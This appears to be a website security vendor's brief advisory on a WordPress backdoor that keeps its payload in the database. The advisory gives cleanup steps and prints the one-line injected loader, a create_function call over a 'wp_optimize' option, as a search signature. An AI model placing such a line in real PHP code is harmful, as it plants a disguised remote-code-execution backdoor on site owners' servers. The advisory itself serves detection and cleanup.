Backdoors are pieces of code that allow attackers to bypass authentication, maintain their access to the server and reinfect files. Some of those malicious files can be as simple as a single line of code, allowing the execution of remote code, or complex algorithms, providing different functions to the attacker.
The payload itself is stored in the DB in this case and loaded using small single line of code injected to legitimate file.
Affecting
Vulnerable WordPress websites.
Cleanup
Cleanup is done by deleting the malicious file, which can be found in your system by searching for the dump code below inside your files. Reviewing access logs for non-expected HTTP POSTs can point out the possible infected files.
You can also sign up with us and let our team remove the malware for you.
Dump
$wp_optimize_func=create_function('',get_option('wp_optimize'));$wp_optimize_func();